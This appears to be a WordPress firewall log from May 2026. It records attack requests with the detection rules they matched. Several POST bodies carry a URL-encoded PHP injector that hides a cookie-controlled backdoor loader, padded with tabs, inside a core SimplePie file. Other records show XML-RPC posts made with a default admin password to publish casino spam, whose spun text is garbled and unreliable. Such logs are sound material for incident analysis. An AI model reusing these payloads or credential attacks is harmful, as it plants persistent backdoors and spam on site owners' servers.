Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\ncy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:55:33","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqaLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3255\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nvv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:55:46","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3278\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:55:52","156.59.62.150","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> ssl:1\" alt=\"top 1 online casino\" style=\"padding: 20px;\" align=\"right\" border=\"1\">\n<p>The brand new and you will dated participants rating a plus for to try out Gorgeous Pepper Blaze from the Barbara Bang from the Melbet with one hundred free revolves. Open benefits for all people having Endorphina's The brand new Emirate game. Concurrently, MelBet supports self-handle features, including go out-outs or permanent mind-exception, to simply help professionals look after power over its gambling. A short while later, you could open MelBet membership to view an entire directory of online game and you will campaigns.<\/p>\r\n<h2 id=\"toc-2\">Melbet advantages having one hundred free spins<\/h2>\n<p>Which campaign is just offered to a restricted level of participants, so it’s best to allege your own totally free revolves immediately. Canadian people can select from secure commission alternatives including Interac, Charge, Mastercard, ecoPayz, as well as 31 cryptocurrencies, making sure prompt dumps and you will withdrawals inside the CAD. It’s the best way to kick off your trip at the you to definitely of the very most over web based casinos up to.<\/p>\r\n<h2 id=\"toc-3\">the newest and you will established people, grab: 100 free spins from the Melbet<\/h2>\n<p>The pros receive an unbelievable 18 regardless of the and you can short-term Melbet incentives including the of a lot totally free bets provided by the newest Melbet Additional Code Shop. These novel rules unlock state-of-the-art deposit suits, zero-risk bets, money-back promises, and better community can cost you over the entire site. To help you withdraw the reload bonus, you ought to choice the main benefit matter five times on the accumulators. Open their profitable possible with your free revolves bonus - no wagering expected! Game play comes with Wilds, Spread out Will pay, and you will a no cost Revolves incentive that may trigger large wins. The overall game have highest volatility, a vintage 5x3 reel options, and you can a worthwhile free spins bonus having an expanding symbol.<\/p>\n<p>Melbet are a major international casino one welcomes people worldwide. Online casino MELbet offers registered users an array of position machines and you will notes developed by best builders. To participate in the new advertisements, the ball player must register on the gambling establishment site and you may confirm their account information. But still, the fresh video game is enjoyable and can enable you to make a great betting approach. The slots have a trial type to own a no cost games.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T10:55:50<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[melbet-added-bonus:-freebets,-freespins-and-promocode-for-profiles-to-your-bangladesh]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nhost:dewenlabels.com\ncontent-type:text\/xml; charset=utf-8\nconnection:Close\ncontent-length:7550\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Melbet Added bonus: Freebets, Freespins and Promocode for Profiles to your Bangladesh]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Quels extra recevoir en 2026 avec le password promo Melbet AFMAX en Afrique ?<\/a><\/li><li><a href=\"#toc-1\">And therefore internet casino now offers are available to your own? – gambling enterprise mr green<\/a><\/li><li><a href=\"#toc-2\">Melbet advantages having one hundred free spins<\/a><\/li><li><a href=\"#toc-3\">the newest and you will established people, grab: 100 free spins from the Melbet<\/a><\/li><\/ul><\/div>\n<p>From the mobile app, people can add slots to their favourites, fill the account, sort harbors by the classification and you may style, and take part in campaigns. For this reason, MELbet people consistently gain access to games in numerous genres, and not just the new centered classics but also new playing novelties. An educated casinos for cellular online slots in the Singapore are providers that have intuitive mobile sites and you can software. <!--more--> The goal when to play internet casino slots should be to winnings and you can cash out.<\/p>\r\n<h2 id=\"toc-0\">Quels extra recevoir en 2026 avec le password promo Melbet AFMAX en Afrique ?<\/h2>\n<p>At the MelBet, participants may use of several common <a href=\"https:\/\/vogueplay.com\/in\/jackpot247-casino-review\/\">vogueplay.com here are the findings<\/a> cryptocurrencies, as well as Bitcoin, Ethereum, Litecoin, Dogecoin, Ripple, Bitcoin Silver, Dash, Tether and many more. This particular feature after that demonstrates one Alive Gambling enterprise builders pay special attention to outline and you may try to ensure enjoyable minutes to own casino fans. Such video game operate on application companies for example Evolution Playing, Ezugi, Vivo Gambling, Fortunate Streak while some. Regrettably, accounts create within the OMR, BHD, QTUM, KWD, mBT, ZEC, XMR, LTC, Dash, ETH, or XAU are not permitted get the 100 percent free spins that include the Invited Plan incentive. To get the newest 100 percent free spins, the new players need to have verified the telephone amount useful for the MelBet membership. The added bonus in the Invited Package try subject to 40x betting, and therefore must be accomplished within this seven days following the incentive has started paid.<\/p>\r\n\r\n<h2 id=\"toc-1\">And therefore internet casino now offers are available to your own? – gambling enterprise mr green<\/h2>\r\n<ul><li>Mobile profiles aren't overlooked of your own enjoyable from the Melbet as you become to love the fresh server of harbors, desk games, and you will real time buyers for the loyal cellular applications both for Android and you will apple's ios.<\/li><li>In the 2025, they partnered having sports legend Andrés Iniesta, giving participants personal chances to victory autographed prizes.<\/li><li>I recommend saying 22Bet’s 100% put matches incentive as much as $122.<\/li><li>All of the ports have a demonstration version for a free games.<\/li><\/ul>\n<p>But not, online slots SG take precedence, as the majority of professionals love spinning reels. Singapore iGaming admirers try attracted to multiple game from the casinos on the internet. If you choose to wager a real income, make certain you do not enjoy more than you could potentially afford losing, and that you merely favor safe and managed casinos on the internet. Come across greatest selections that have thrilling online game and you can incentives, guaranteeing an unprecedented on the internet sense. Find subscribed U.S. fish dining table gaming sites to play expertise-dependent games and you will victory real cash which can be withdrawn inside mere seconds.<\/p>\n<img src=\"https:\/\/i0.wp.com\/newspack-washingtoncitypaper.s3.amazonaws.com\/uploads\/2023\/09\/image14-2.png?fit=750,420&ssl=1\" alt=\"top 1 online casino\" style=\"padding: 20px;\" align=\"right\" border=\"1\">\n<p>The brand new and you will dated participants rating a plus for to try out Gorgeous Pepper Blaze from the Barbara Bang from the Melbet with one hundred free revolves. Open benefits for all people having Endorphina's The brand new Emirate game. Concurrently, MelBet supports self-handle features, including go out-outs or permanent mind-exception, to simply help professionals look after power over its gambling. A short while later, you could open MelBet membership to view an entire directory of online game and you will campaigns.<\/p>\r\n<h2 id=\"toc-2\">Melbet advantages having one hundred free spins<\/h2>\n<p>Which campaign is just offered to a restricted level of participants, so it’s best to allege your own totally free revolves immediately. Canadian people can select from secure commission alternatives including Interac, Charge, Mastercard, ecoPayz, as well as 31 cryptocurrencies, making sure prompt dumps and you will withdrawals inside the CAD. It’s the best way to kick off your trip at the you to definitely of the very most over web based casinos up to.<\/p>\r\n<h2 id=\"toc-3\">the newest and you will established people, grab: 100 free spins from the Melbet<\/h2>\n<p>The pros receive an unbelievable 18 regardless of the and you can short-term Melbet incentives including the of a lot totally free bets provided by the newest Melbet Additional Code Shop. These novel rules unlock state-of-the-art deposit suits, zero-risk bets, money-back promises, and better community can cost you over the entire site. To help you withdraw the reload bonus, you ought to choice the main benefit matter five times on the accumulators. Open their profitable possible with your free revolves bonus - no wagering expected! Game play comes with Wilds, Spread out Will pay, and you will a no cost Revolves incentive that may trigger large wins. The overall game have highest volatility, a vintage 5x3 reel options, and you can a worthwhile free spins bonus having an expanding symbol.<\/p>\n<p>Melbet are a major international casino one welcomes people worldwide. Online casino MELbet offers registered users an array of position machines and you will notes developed by best builders. To participate in the new advertisements, the ball player must register on the gambling establishment site and you may confirm their account information. But still, the fresh video game is enjoyable and can enable you to make a great betting approach. The slots have a trial type to own a no cost games.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T10:55:50<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[melbet-added-bonus:-freebets,-freespins-and-promocode-for-profiles-to-your-bangladesh]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 18:55:53","156.59.62.150","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> ssl:1\" alt=\"top 1 online casino\" style=\"padding: 20px;\" align=\"right\" border=\"1\">\n<p>The brand new and you will dated participants rating a plus for to try out Gorgeous Pepper Blaze from the Barbara Bang from the Melbet with one hundred free revolves. Open benefits for all people having Endorphina's The brand new Emirate game. Concurrently, MelBet supports self-handle features, including go out-outs or permanent mind-exception, to simply help professionals look after power over its gambling. A short while later, you could open MelBet membership to view an entire directory of online game and you will campaigns.<\/p>\r\n<h2 id=\"toc-2\">Melbet advantages having one hundred free spins<\/h2>\n<p>Which campaign is just offered to a restricted level of participants, so it’s best to allege your own totally free revolves immediately. Canadian people can select from secure commission alternatives including Interac, Charge, Mastercard, ecoPayz, as well as 31 cryptocurrencies, making sure prompt dumps and you will withdrawals inside the CAD. It’s the best way to kick off your trip at the you to definitely of the very most over web based casinos up to.<\/p>\r\n<h2 id=\"toc-3\">the newest and you will established people, grab: 100 free spins from the Melbet<\/h2>\n<p>The pros receive an unbelievable 18 regardless of the and you can short-term Melbet incentives including the of a lot totally free bets provided by the newest Melbet Additional Code Shop. These novel rules unlock state-of-the-art deposit suits, zero-risk bets, money-back promises, and better community can cost you over the entire site. To help you withdraw the reload bonus, you ought to choice the main benefit matter five times on the accumulators. Open their profitable possible with your free revolves bonus - no wagering expected! Game play comes with Wilds, Spread out Will pay, and you will a no cost Revolves incentive that may trigger large wins. The overall game have highest volatility, a vintage 5x3 reel options, and you can a worthwhile free spins bonus having an expanding symbol.<\/p>\n<p>Melbet are a major international casino one welcomes people worldwide. Online casino MELbet offers registered users an array of position machines and you will notes developed by best builders. To participate in the new advertisements, the ball player must register on the gambling establishment site and you may confirm their account information. But still, the fresh video game is enjoyable and can enable you to make a great betting approach. The slots have a trial type to own a no cost games.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T10:55:51<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nhost:dewenlabels.com\ncontent-type:text\/xml; charset=utf-8\nconnection:Close\ncontent-length:7603\n\n<?xml 